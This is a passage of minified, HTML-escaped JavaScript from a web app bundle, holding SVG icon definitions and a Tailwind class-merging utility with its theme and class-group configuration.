0l1.71-1.71&quot;,key:&quot;4qinb0&quot;}],[&quot;line&quot;,{x1:&quot;8&quot;,x2:&quot;8&quot;,y1:&quot;2&quot;,y2:&quot;5&quot;,key:&quot;1041cp&quot;}],[&quot;line&quot;,{x1:&quot;2&quot;,x2:&quot;5&quot;,y1:&quot;8&quot;,y2:&quot;8&quot;,key:&quot;14m1p5&quot;}],[&quot;line&quot;,{x1:&quot;16&quot;,x2:&quot;16&quot;,y1:&quot;19&quot;,y2:&quot;22&quot;,key:&quot;rzdirn&quot;}],[&quot;line&quot;,{x1:&quot;19&quot;,x2:&quot;22&quot;,y1:&quot;16&quot;,y2:&quot;16&quot;,key:&quot;ox905f&quot;}]]);const ja=Zt(&quot;Upload&quot;,[[&quot;path&quot;,{d:&quot;M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4&quot;,key:&quot;ih7n3h&quot;}],[&quot;polyline&quot;,{points:&quot;17 8 12 3 7 8&quot;,key:&quot;t8dd8p&quot;}],[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12&quot;,y1:&quot;3&quot;,y2:&quot;15&quot;,key:&quot;widbto&quot;}]]);const Bse=Zt(&quot;UserX&quot;,[[&quot;path&quot;,{d:&quot;M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2&quot;,key:&quot;1yyitq&quot;}],[&quot;circle&quot;,{cx:&quot;9&quot;,cy:&quot;7&quot;,r:&quot;4&quot;,key:&quot;nufk8&quot;}],[&quot;line&quot;,{x1:&quot;17&quot;,x2:&quot;22&quot;,y1:&quot;8&quot;,y2:&quot;13&quot;,key:&quot;3nzzx3&quot;}],[&quot;line&quot;,{x1:&quot;22&quot;,x2:&quot;17&quot;,y1:&quot;8&quot;,y2:&quot;13&quot;,key:&quot;1swrse&quot;}]]);const nh=Zt(&quot;User&quot;,[[&quot;path&quot;,{d:&quot;M19 21v-2a4 4 0 0 0-4-4H9a4 4 0 0 0-4 4v2&quot;,key:&quot;975kel&quot;}],[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;7&quot;,r:&quot;4&quot;,key:&quot;17ys0d&quot;}]]);const Sm=Zt(&quot;Users&quot;,[[&quot;path&quot;,{d:&quot;M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2&quot;,key:&quot;1yyitq&quot;}],[&quot;circle&quot;,{cx:&quot;9&quot;,cy:&quot;7&quot;,r:&quot;4&quot;,key:&quot;nufk8&quot;}],[&quot;path&quot;,{d:&quot;M22 21v-2a4 4 0 0 0-3-3.87&quot;,key:&quot;kshegd&quot;}],[&quot;path&quot;,{d:&quot;M16 3.13a4 4 0 0 1 0 7.75&quot;,key:&quot;1da9ce&quot;}]]);const Xu=Zt(&quot;Video&quot;,[[&quot;path&quot;,{d:&quot;m16 13 5.223 3.482a.5.5 0 0 0 .777-.416V7.87a.5.5 0 0 0-.752-.432L16 10.5&quot;,key:&quot;ftymec&quot;}],[&quot;rect&quot;,{x:&quot;2&quot;,y:&quot;6&quot;,width:&quot;14&quot;,height:&quot;12&quot;,rx:&quot;2&quot;,key:&quot;158x01&quot;}]]);const z6=Zt(&quot;Volume2&quot;,[[&quot;path&quot;,{d:&quot;M11 4.702a.705.705 0 0 0-1.203-.498L6.413 7.587A1.4 1.4 0 0 1 5.416 8H3a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h2.416a1.4 1.4 0 0 1 .997.413l3.383 3.384A.705.705 0 0 0 11 19.298z&quot;,key:&quot;uqj9uw&quot;}],[&quot;path&quot;,{d:&quot;M16 9a5 5 0 0 1 0 6&quot;,key:&quot;1q6k2b&quot;}],[&quot;path&quot;,{d:&quot;M19.364 18.364a9 9 0 0 0 0-12.728&quot;,key:&quot;ijwkga&quot;}]]);const kse=Zt(&quot;VolumeX&quot;,[[&quot;path&quot;,{d:&quot;M11 4.702a.705.705 0 0 0-1.203-.498L6.413 7.587A1.4 1.4 0 0 1 5.416 8H3a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h2.416a1.4 1.4 0 0 1 .997.413l3.383 3.384A.705.705 0 0 0 11 19.298z&quot;,key:&quot;uqj9uw&quot;}],[&quot;line&quot;,{x1:&quot;22&quot;,x2:&quot;16&quot;,y1:&quot;9&quot;,y2:&quot;15&quot;,key:&quot;1ewh16&quot;}],[&quot;line&quot;,{x1:&quot;16&quot;,x2:&quot;22&quot;,y1:&quot;9&quot;,y2:&quot;15&quot;,key:&quot;5ykzw1&quot;}]]);const _se=Zt(&quot;Wallet&quot;,[[&quot;path&quot;,{d:&quot;M19 7V4a1 1 0 0 0-1-1H5a2 2 0 0 0 0 4h15a1 1 0 0 1 1 1v4h-3a2 2 0 0 0 0 4h3a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1&quot;,key:&quot;18etb6&quot;}],[&quot;path&quot;,{d:&quot;M3 5v14a2 2 0 0 0 2 2h15a1 1 0 0 0 1-1v-4&quot;,key:&quot;xoc0q4&quot;}]]);const qd=Zt(&quot;WifiOff&quot;,[[&quot;path&quot;,{d:&quot;M12 20h.01&quot;,key:&quot;zekei9&quot;}],[&quot;path&quot;,{d:&quot;M8.5 16.429a5 5 0 0 1 7 0&quot;,key:&quot;1bycff&quot;}],[&quot;path&quot;,{d:&quot;M5 12.859a10 10 0 0 1 5.17-2.69&quot;,key:&quot;1dl1wf&quot;}],[&quot;path&quot;,{d:&quot;M19 12.859a10 10 0 0 0-2.007-1.523&quot;,key:&quot;4k23kn&quot;}],[&quot;path&quot;,{d:&quot;M2 8.82a15 15 0 0 1 4.177-2.643&quot;,key:&quot;1grhjp&quot;}],[&quot;path&quot;,{d:&quot;M22 8.82a15 15 0 0 0-11.288-3.764&quot;,key:&quot;z3jwby&quot;}],[&quot;path&quot;,{d:&quot;m2 2 20 20&quot;,key:&quot;1ooewy&quot;}]]);const Dse=Zt(&quot;Wifi&quot;,[[&quot;path&quot;,{d:&quot;M12 20h.01&quot;,key:&quot;zekei9&quot;}],[&quot;path&quot;,{d:&quot;M2 8.82a15 15 0 0 1 20 0&quot;,key:&quot;dnpr2z&quot;}],[&quot;path&quot;,{d:&quot;M5 12.859a10 10 0 0 1 14 0&quot;,key:&quot;1x1e6c&quot;}],[&quot;path&quot;,{d:&quot;M8.5 16.429a5 5 0 0 1 7 0&quot;,key:&quot;1bycff&quot;}]]);const ty=Zt(&quot;Wrench&quot;,[[&quot;path&quot;,{d:&quot;M14.7 6.3a1 1 0 0 0 0 1.4l1.6 1.6a1 1 0 0 0 1.4 0l3.77-3.77a6 6 0 0 1-7.94 7.94l-6.91 6.91a2.12 2.12 0 0 1-3-3l6.91-6.91a6 6 0 0 1 7.94-7.94l-3.76 3.76z&quot;,key:&quot;cbrjhi&quot;}]]);const Nn=Zt(&quot;X&quot;,[[&quot;path&quot;,{d:&quot;M18 6 6 18&quot;,key:&quot;1bl5f8&quot;}],[&quot;path&quot;,{d:&quot;m6 6 12 12&quot;,key:&quot;d8bk6v&quot;}]]);const ry=Zt(&quot;Zap&quot;,[[&quot;path&quot;,{d:&quot;M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z&quot;,key:&quot;1xq2db&quot;}]]),$6=&quot;-&quot;,Tse=e=&gt;{const t=Pse(e),{conflictingClassGroups:r,conflictingClassGroupModifiers:n}=e;return{getClassGroupId:o=&gt;{const l=o.split($6);return l[0]===&quot;&quot;&amp;&amp;l.length!==1&amp;&amp;l.shift(),AL(l,t)||Rse(o)},getConflictingClassGroupIds:(o,l)=&gt;{const c=r[o]||[];return l&amp;&amp;n[o]?[...c,...n[o]]:c}}},AL=(e,t)=&gt;{if(e.length===0)return t.classGroupId;const r=e[0],n=t.nextPart.get(r),i=n?AL(e.slice(1),n):void 0;if(i)return i;if(t.validators.length===0)return;const s=e.join($6);return t.validators.find(({validator:o})=&gt;o(s))?.classGroupId},zD=/^\[(.+)\]$/,Rse=e=&gt;{if(zD.test(e)){const t=zD.exec(e)[1],r=t?.substring(0,t.indexOf(&quot;:&quot;));if(r)return&quot;arbitrary..&quot;+r}},Pse=e=&gt;{const{theme:t,prefix:r}=e,n={nextPart:new Map,validators:[]};return Fse(Object.entries(e.classGroups),r).forEach(([s,o])=&gt;{X3(o,n,s,t)}),n},X3=(e,t,r,n)=&gt;{e.forEach(i=&gt;{if(typeof i==&quot;string&quot;){const s=i===&quot;&quot;?t:$D(t,i);s.classGroupId=r;return}if(typeof i==&quot;function&quot;){if(Qse(i)){X3(i(n),t,r,n);return}t.validators.push({validator:i,classGroupId:r});return}Object.entries(i).forEach(([s,o])=&gt;{X3(o,$D(t,s),r,n)})})},$D=(e,t)=&gt;{let r=e;return t.split($6).forEach(n=&gt;{r.nextPart.has(n)||r.nextPart.set(n,{nextPart:new Map,validators:[]}),r=r.nextPart.get(n)}),r},Qse=e=&gt;e.isThemeGetter,Fse=(e,t)=&gt;t?e.map(([r,n])=&gt;{const i=n.map(s=&gt;typeof s==&quot;string&quot;?t+s:typeof s==&quot;object&quot;?Object.fromEntries(Object.entries(s).map(([o,l])=&gt;[t+o,l])):s);return[r,i]}):e,Ose=e=&gt;{if(e&lt;1)return{get:()=&gt;{},set:()=&gt;{}};let t=0,r=new Map,n=new Map;const i=(s,o)=&gt;{r.set(s,o),t++,t&gt;e&amp;&amp;(t=0,n=r,r=new Map)};return{get(s){let o=r.get(s);if(o!==void 0)return o;if((o=n.get(s))!==void 0)return i(s,o),o},set(s,o){r.has(s)?r.set(s,o):i(s,o)}}},xL=&quot;!&quot;,Lse=e=&gt;{const{separator:t,experimentalParseClassName:r}=e,n=t.length===1,i=t[0],s=t.length,o=l=&gt;{const c=[];let d=0,u=0,h;for(let w=0;w&lt;l.length;w++){let j=l[w];if(d===0){if(j===i&amp;&amp;(n||l.slice(w,w+s)===t)){c.push(l.slice(u,w)),u=w+s;continue}if(j===&quot;/&quot;){h=w;continue}}j===&quot;[&quot;?d++:j===&quot;]&quot;&amp;&amp;d--}const p=c.length===0?l:l.substring(u),A=p.startsWith(xL),y=A?p.substring(1):p,v=h&amp;&amp;h&gt;u?h-u:void 0;return{modifiers:c,hasImportantModifier:A,baseClassName:y,maybePostfixModifierPosition:v}};return r?l=&gt;r({className:l,parseClassName:o}):o},Mse=e=&gt;{if(e.length&lt;=1)return e;const t=[];let r=[];return e.forEach(n=&gt;{n[0]===&quot;[&quot;?(t.push(...r.sort(),n),r=[]):r.push(n)}),t.push(...r.sort()),t},Use=e=&gt;({cache:Ose(e.cacheSize),parseClassName:Lse(e),...Tse(e)}),zse=/\s+/,$se=(e,t)=&gt;{const{parseClassName:r,getClassGroupId:n,getConflictingClassGroupIds:i}=t,s=[],o=e.trim().split(zse);let l=&quot;&quot;;for(let c=o.length-1;c&gt;=0;c-=1){const d=o[c],{modifiers:u,hasImportantModifier:h,baseClassName:p,maybePostfixModifierPosition:A}=r(d);let y=!!A,v=n(y?p.substring(0,A):p);if(!v){if(!y){l=d+(l.length&gt;0?&quot; &quot;+l:l);continue}if(v=n(p),!v){l=d+(l.length&gt;0?&quot; &quot;+l:l);continue}y=!1}const w=Mse(u).join(&quot;:&quot;),j=h?w+xL:w,E=j+v;if(s.includes(E))continue;s.push(E);const S=i(v,y);for(let _=0;_&lt;S.length;++_){const C=S[_];s.push(j+C)}l=d+(l.length&gt;0?&quot; &quot;+l:l)}return l};function Hse(){let e=0,t,r,n=&quot;&quot;;for(;e&lt;arguments.length;)(t=arguments[e++])&amp;&amp;(r=vL(t))&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=r);return n}const vL=e=&gt;{if(typeof e==&quot;string&quot;)return e;let t,r=&quot;&quot;;for(let n=0;n&lt;e.length;n++)e[n]&amp;&amp;(t=vL(e[n]))&amp;&amp;(r&amp;&amp;(r+=&quot; &quot;),r+=t);return r};function qse(e,...t){let r,n,i,s=o;function o(c){const d=t.reduce((u,h)=&gt;h(u),e());return r=Use(d),n=r.cache.get,i=r.cache.set,s=l,l(c)}function l(c){const d=n(c);if(d)return d;const u=$se(c,r);return i(c,u),u}return function(){return s(Hse.apply(null,arguments))}}const Qa=e=&gt;{const t=r=&gt;r[e]||[];return t.isThemeGetter=!0,t},yL=/^\[(?:([a-z-]+):)?(.+)\]$/i,Gse=/^\d+\/\d+$/,Vse=new Set([&quot;px&quot;,&quot;full&quot;,&quot;screen&quot;]),Wse=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,Kse=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,Yse=/^(rgba?|hsla?|hwb|(ok)?(lab|lch))\(.+\)$/,Zse=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,Jse=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,Tf=e=&gt;qA(e)||Vse.has(e)||Gse.test(e),Gh=e=&gt;$1(e,&quot;length&quot;,soe),qA=e=&gt;!!e&amp;&amp;!Number.isNaN(Number(e)),mI=e=&gt;$1(e,&quot;number&quot;,qA),Ex=e=&gt;!!e&amp;&amp;Number.isInteger(Number(e)),Xse=e=&gt;e.endsWith(&quot;%&quot;)&amp;&amp;qA(e.slice(0,-1)),Fn=e=&gt;yL.test(e),Vh=e=&gt;Wse.test(e),eoe=new Set([&quot;length&quot;,&quot;size&quot;,&quot;percentage&quot;]),toe=e=&gt;$1(e,eoe,bL),roe=e=&gt;$1(e,&quot;position&quot;,bL),noe=new Set([&quot;image&quot;,&quot;url&quot;]),ioe=e=&gt;$1(e,noe,loe),aoe=e=&gt;$1(e,&quot;&quot;,ooe),Cx=()=&gt;!0,$1=(e,t,r)=&gt;{const n=yL.exec(e);return n?n[1]?typeof t==&quot;string&quot;?n[1]===t:t.has(n[1]):r(n[2]):!1},soe=e=&gt;Kse.test(e)&amp;&amp;!Yse.test(e),bL=()=&gt;!1,ooe=e=&gt;Zse.test(e),loe=e=&gt;Jse.test(e),coe=()=&gt;{const e=Qa(&quot;colors&quot;),t=Qa(&quot;spacing&quot;),r=Qa(&quot;blur&quot;),n=Qa(&quot;brightness&quot;),i=Qa(&quot;borderColor&quot;),s=Qa(&quot;borderRadius&quot;),o=Qa(&quot;borderSpacing&quot;),l=Qa(&quot;borderWidth&quot;),c=Qa(&quot;contrast&quot;),d=Qa(&quot;grayscale&quot;),u=Qa(&quot;hueRotate&quot;),h=Qa(&quot;invert&quot;),p=Qa(&quot;gap&quot;),A=Qa(&quot;gradientColorStops&quot;),y=Qa(&quot;gradientColorStopPositions&quot;),v=Qa(&quot;inset&quot;),w=Qa(&quot;margin&quot;),j=Qa(&quot;opacity&quot;),E=Qa(&quot;padding&quot;),S=Qa(&quot;saturate&quot;),_=Qa(&quot;scale&quot;),C=Qa(&quot;sepia&quot;),Q=Qa(&quot;skew&quot;),R=Qa(&quot;space&quot;),T=Qa(&quot;translate&quot;),M=()=&gt;[&quot;auto&quot;,&quot;contain&quot;,&quot;none&quot;],O=()=&gt;[&quot;auto&quot;,&quot;hidden&quot;,&quot;clip&quot;,&quot;visible&quot;,&quot;scroll&quot;],$=()=&gt;[&quot;auto&quot;,Fn,t],P=()=&gt;[Fn,t],L=()=&gt;[&quot;&quot;,Tf,Gh],X=()=&gt;[&quot;auto&quot;,qA,Fn],W=()=&gt;[&quot;bottom&quot;,&quot;center&quot;,&quot;left&quot;,&quot;left-bottom&quot;,&quot;left-top&quot;,&quot;right&quot;,&quot;right-bottom&quot;,&quot;right-top&quot;,&quot;top&quot;],G=()=&gt;[&quot;solid&quot;,&quot;dashed&quot;,&quot;dotted&quot;,&quot;double&quot;,&quot;none&quot;],J=()=&gt;[&quot;normal&quot;,&quot;multiply&quot;,&quot;screen&quot;,&quot;overlay&quot;,&quot;darken&quot;,&quot;lighten&quot;,&quot;color-dodge&quot;,&quot;color-burn&quot;,&quot;hard-light&quot;,&quot;soft-light&quot;,&quot;difference&quot;,&quot;exclusion&quot;,&quot;hue&quot;,&quot;saturation&quot;,&quot;color&quot;,&quot;luminosity&quot;],q=()=&gt;[&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;between&quot;,&quot;around&quot;,&quot;evenly&quot;,&quot;stretch&quot;],ee=()=&gt;[&quot;&quot;,&quot;0&quot;,Fn],ne=()=&gt;[&quot;auto&quot;,&quot;avoid&quot;,&quot;all&quot;,&quot;avoid-page&quot;,&quot;page&quot;,&quot;left&quot;,&quot;right&quot;,&quot;column&quot;],V=()=&gt;[qA,Fn];return{cacheSize:500,separator:&quot;:&quot;,theme:{colors:[Cx],spacing:[Tf,Gh],blur:[&quot;none&quot;,&quot;&quot;,Vh,Fn],brightness:V(),borderColor:[e],borderRadius:[&quot;none&quot;,&quot;&quot;,&quot;full&quot;,Vh,Fn],borderSpacing:P(),borderWidth:L(),contrast:V(),grayscale:ee(),hueRotate:V(),invert:ee(),gap:P(),gradientColorStops:[e],gradientColorStopPositions:[Xse,Gh],inset:$(),margin:$(),opacity:V(),padding:P(),saturate:V(),scale:V(),sepia:ee(),skew:V(),space:P(),translate:P()},classGroups:{aspect:[{aspect:[&quot;auto&quot;,&quot;square&quot;,&quot;video&quot;,Fn]}],container:[&quot;container&quot;],columns:[{columns:[Vh]}],&quot;break-after&quot;:[{&quot;break-after&quot;:ne()}],&quot;break-before&quot;:[{&quot;break-before&quot;:ne()}],&quot;break-inside&quot;:[{&quot;break-inside&quot;:[&quot;auto&quot;,&quot;avoid&quot;,&quot;avoid-page&quot;,&quot;avoid-column&quot;]}],&quot;box-decoration&quot;:[{&quot;box-decoration&quot;:[&quot;slice&quot;,&quot;clone&quot;]}],box:[{box:[&quot;border&quot;,&quot;content&quot;]}],display:[&quot;block&quot;,&quot;inline-block&quot;,&quot;inline&quot;,&quot;flex&quot;,&quot;inline-flex&quot;,&quot;table&quot;,&quot;inline-table&quot;,&quot;table-caption&quot;,&quot;table-cell&quot;,&quot;table-column&quot;,&quot;table-column-group&quot;,&quot;table-footer-group&quot;,&quot;table-header-group&quot;,&quot;table-row-group&quot;,&quot;table-row&quot;,&quot;flow-root&quot;,&quot;grid&quot;,&quot;inline-grid&quot;,&quot;contents&quot;,&quot;list-item&quot;,&quot;hidden&quot;],float:[{float:[&quot;right&quot;,&quot;left&quot;,&quot;none&quot;,&quot;start&quot;,&quot;end&quot;]}],clear:[{clear:[&quot;left&quot;,&quot;right&quot;,&quot;both&quot;,&quot;none&quot;,&quot;start&quot;,&quot;end&quot;]}],isolation:[&quot;isolate&quot;,&quot;isolation-auto&quot;],&quot;object-fit&quot;:[{object:[&quot;contain&quot;,&quot;cover&quot;,&quot;fill&quot;,&quot;none&quot;,&quot;scale-down&quot;]}],&quot;object-position&quot;:[{object:[...W(),Fn]}],overflow:[{overflow:O()}],&quot;overflow-x&quot;:[{&quot;overflow-x&quot;:O()}],&quot;overflow-y&quot;:[{&quot;overflow-y&quot;:O()}],overscroll:[{overscroll:M()}],&quot;overscroll-x&quot;:[{&quot;overscroll-x&quot;:M()}],&quot;overscroll-y&quot;:[{&quot;overscroll-y&quot;:M()}],position:[&quot;static&quot;,&quot;fixed&quot;,&quot;absolute&quot;,&quot;relative&quot;,&quot;sticky&quot;],inset:[{inset:[v]}],&quot;inset-x&quot;:[{&quot;inset-x&quot;:[v]}],&quot;inset-y&quot;:[{&quot;inset-y&quot;:[v]}],start:[{start:[v]}],end:[{end:[v]}],top:[{top:[v]}],right:[{right:[v]}],bottom:[{bottom:[v]}],left:[{left:[v]}],visibility:[&quot;visible&quot;,&quot;invisible&quot;,&quot;collapse&quot;],z:[{z:[&quot;auto&quot;,Ex,Fn]}],basis:[{basis:$()}],&quot;flex-direction&quot;:[{flex:[&quot;row&quot;,&quot;row-reverse&quot;,&quot;col&quot;,&quot;col-reverse&quot;]}],&quot;flex-wrap&quot;:[{flex:[&quot;wrap&quot;,&quot;wrap-reverse&quot;,&quot;nowrap&quot;]}],flex:[{flex:[&quot;1&quot;,&quot;auto&quot;,&quot;initial&quot;,&quot;none&quot;,Fn]}],grow:[{grow:ee()}],shrink:[{shrink:ee()}],order:[{order:[&quot;first&quot;,&quot;last&quot;,&quot;none&quot;,Ex,Fn]}],&quot;grid-cols&quot;:[{&quot;grid-cols&quot;:[Cx]}],&quot;col-start-end&quot;:[{col:[&quot;auto&quot;,{span:[&quot;full&quot;,Ex,Fn]},Fn]}],&quot;col-start&quot;:[{&quot;col-start&quot;:X()}],&quot;col-end&quot;:[{&quot;col-end&quot;:X()}],&quot;grid-rows&quot;:[{&quot;grid-rows&quot;:[Cx]}],&quot;row-start-end&quot;:[{row:[&quot;auto&quot;,{span:[Ex,Fn]},Fn]}],&quot;row-start&quot;:[{&quot;row-start&quot;:X()}],&quot;row-end&quot;:[{&quot;row-end&quot;:X()}],&quot;grid-flow&quot;:[{&quot;grid-flow&quot;:[&quot;row&quot;,&quot;col&quot;,&quot;dense&quot;,&quot;row-dense&quot;,&quot;col-dense&quot;]}],&quot;auto-cols&quot;:[{&quot;auto-cols&quot;:[&quot;auto&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fr&quot;,Fn]}],&quot;auto-rows&quot;:[{&quot;auto-rows&quot;:[&quot;auto&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fr&quot;,Fn]}],gap:[{gap:[p]}],&quot;gap-x&quot;:[{&quot;gap-x&quot;:[p]}],&quot;gap-y&quot;:[{&quot;gap-y&quot;:[p]}],&quot;justify-content&quot;:[{justify:[&quot;normal&quot;,...q()]}],&quot;justify-items&quot;:[{&quot;justify-items&quot;:[&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;stretch&quot;]}],&quot;justify-self&quot;:[{&quot;justify-self&quot;:[&quot;auto&quot;,&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;stretch&quot;]}],&quot;align-content&quot;:[{content:[&quot;normal&quot;,...q(),&quot;baseline&quot;]}],&quot;align-items&quot;:[{items:[&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;baseline&quot;,&quot;stretch&quot;]}],&quot;align-self&quot;:[{self:[&quot;auto&quot;,&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;stretch&quot;,&quot;baseline&quot;]}],&quot;place-content&quot;:[{&quot;place-content&quot;:[...q(),&quot;baseline&quot;]}],&quot;place-items&quot;:[{&quot;place-items&quot;:[&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;baseline&quot;,&quot;stretch&quot;]}],&quot;place-self&quot;:[{&quot;place-self&quot;:[&quot;auto&quot;,&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;stretch&quot;]}],p:[{p:[E]}],px:[{px:[E]}],py:[{py:[E]}],ps:[{ps:[E]}],pe:[{pe:[E]}],pt:[{pt:[E]}],pr:[{pr:[E]}],pb:[{pb:[E]}],pl:[{pl:[E]}],m:[{m:[w]}],mx:[{mx:[w]}],my:[{my:[w]}],ms:[{ms:[w]}],me:[{me:[w]}],mt:[{mt:[w]}],mr:[{mr:[w]}],mb:[{mb:[w]}],ml:[{ml:[w]}],&quot;space-x&quot;:[{&quot;space-x&quot;:[R]}],&quot;space-x-reverse&quot;:[&quot;space-x-reverse&quot;],&quot;space-y&quot;:[{&quot;space-y&quot;:[R]}],&quot;space-y-reverse&quot;:[&quot;space-y-reverse&quot;],w:[{w:[&quot;auto&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;,&quot;svw&quot;,&quot;lvw&quot;,&quot;dvw&quot;,Fn,t]}],&quot;min-w&quot;:[{&quot;min-w&quot;:[Fn,t,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;]}],&quot;max-w&quot;:[{&quot;max-w&quot;:[Fn,t,&quot;none&quot;,&quot;full&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;,&quot;prose&quot;,{screen:[Vh]},Vh]}],h:[{h:[Fn,t,&quot;auto&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;]}],&quot;min-h&quot;:[{&quot;min-h&quot;:[Fn,t,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;]}],&quot;max-h&quot;:[{&quot;max-h&quot;:[Fn,t,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;]}],size:[{size:[Fn,t,&quot;auto&quot;,&quot;min&quot;,&quot;max&quot;,&quot;fit&quot;]}],&quot;font-size&quot;:[{text:[&quot;base&quot;,Vh,Gh]}],&quot;font-smoothing&quot;:[&quot;antialiased&quot;,&quot;subpixel-antialiased&quot;],&quot;font-style&quot;:[&quot;italic&quot;,&quot;not-italic&quot;],&quot;font-weight&quot;:[{font:[&quot;thin&quot;,&quot;extralight&quot;,&quot;light&quot;,&quot;normal&quot;,&quot;medium&quot;,&quot;semibold&quot;,&quot;bold&quot;,&quot;extrabold&quot;,&quot;black&quot;,mI]}],&quot;font-family&quot;:[{font:[Cx]}],&quot;fvn-normal&quot;:[&quot;normal-nums&quot;],&quot;fvn-ordinal&quot;:[&quot;ordinal&quot;],&quot;fvn-slashed-zero&quot;:[&quot;slashed-zero&quot;],&quot;fvn-figure&quot;:[&quot;lining-nums&quot;,&quot;oldstyle-nums&quot;],&quot;fvn-spacing&quot;:[&quot;proportional-nums&quot;,&quot;tabular-nums&quot;],&quot;fvn-fraction&quot;:[&quot;diagonal-fractions&quot;,&quot;stacked-fractions&quot;],tracking:[{tracking:[&quot;tighter&quot;,&quot;tight&quot;,&quot;normal&quot;,&quot;wide&quot;,&quot;wider&quot;,&quot;widest&quot;,Fn]}],&quot;line-clamp&quot;:[{&quot;line-clamp&quot;:[&quot;none&quot;,qA,mI]}],leading:[{leading:[&quot;none&quot;,&quot;tight&quot;,&quot;snug&quot;,&quot;normal&quot;,&quot;relaxed&quot;,&quot;loose&quot;,Tf,Fn]}],&quot;list-image&quot;:[{&quot;list-image&quot;:[&quot;none&quot;,Fn]}],&quot;list-style-type&quot;:[{list:[&quot;none&quot;,&quot;disc&quot;,&quot;decimal&quot;,Fn]}],&quot;list-style-position&quot;:[{list:[&quot;inside&quot;,&quot;outside&quot;]}],&quot;placeholder-color&quot;:[{placeholder:[e]}],&quot;placeholder-opacity&quot;:[{&quot;placeholder-opacity&quot;:[j]}],&quot;text-alignment&quot;:[{text:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;justify&quot;,&quot;start&quot;,&quot;end&quot;]}],&quot;text-color&quot;:[{text:[e]}],&quot;text-opacity&quot;:[{&quot;text-opacity&quot;:[j]}],&quot;text-decoration&quot;:[&quot;underline&quot;,&quot;overline&quot;,&quot;line-through&quot;,&quot;no-underline&quot;],&quot;text-decoration-style&quot;:[{decoration:[...G(),&quot;wavy&quot;]}],&quot;text-decoration-thickness&quot;:[{decoration:[&quot;auto&quot;,&quot;from-font&quot;,Tf,Gh]}],&quot;underline-offset&quot;:[{&quot;underline-offset&quot;:[&quot;auto&quot;,Tf,Fn]}],&quot;text-decoration-color&quot;:[{decoration:[e]}],&quot;text-transform&quot;:[&quot;uppercase&quot;,&quot;lowercase&quot;,&quot;capitalize&quot;,&quot;normal-case&quot;],&quot;text-overflow&quot;:[&quot;truncate&quot;,&quot;text-ellipsis&quot;,&quot;text-clip&quot;],&quot;text-wrap&quot;:[{text:[&quot;wrap&quot;,&quot;nowrap&quot;,&quot;balance&quot;,&quot;pretty&quot;]}],indent:[{indent:P()}],&quot;vertical-align&quot;:[{align:[&quot;baseline&quot;,&quot;top&quot;,&quot;middle&quot;,&quot;bottom&quot;,&quot;text-top&quot;,&quot;text-bottom&quot;,&quot;sub&quot;,&quot;super&quot;,Fn]}],whitespace:[{whitespace:[&quot;normal&quot;,&quot;nowrap&quot;,&quot;pre&quot;,&quot;pre-line&quot;,&quot;pre-wrap&quot;,&quot;break-spaces&quot;]}],break:[{break:[&quot;normal&quot;,&quot;words&quot;,&quot;all&quot;,&quot;keep&quot;]}],hyphens:[{hyphens:[&quot;none&quot;,&quot;manual&quot;,&quot;auto&quot;]}],content:[{content:[&quot;none&quot;,Fn]}],&quot;bg-attachment&quot;:[{bg:[&quot;fixed&quot;,&quot;local&quot;,&quot;scroll&quot;]}],&quot;bg-clip&quot;:[{&quot;bg-clip&quot;:[&quot;border&quot;,&quot;padding&quot;,&quot;content&quot;,&quot;text&quot;]}],&quot;bg-opacity&quot;:[{&quot;bg-opacity&quot;:[j]}],&quot;bg-origin&quot;:[{&quot;bg-origin&quot;:[&quot;border&quot;,&quot;padding&quot;,&quot;content&quot;]}],&quot;bg-position&quot;:[{bg:[...W(),roe]}],&quot;bg-repeat&quot;:[{bg:[&quot;no-repeat&quot;,{repeat:[&quot;&quot;,&quot;x&quot;,&quot;y&quot;,&quot;round&quot;,&quot;space&quot;]}]}],&quot;bg-size&quot;:[{bg:[&quot;auto&quot;,&quot;cover&quot;,&quot;contain&quot;,toe]}],&quot;bg-image&quot;:[{bg:[&quot;none&quot;,{&quot;gradient-to&quot;:[&quot;t&quot;,&quot;tr&quot;,&quot;r&quot;,&quot;br&quot;,&quot;b&quot;,&quot;bl&quot;,&quot;l&quot;,&quot;tl&quot;]},ioe]}],&quot;bg-color&quot;:[{bg:[e]}],&quot;gradient-from-pos&quot;:[{from:[y]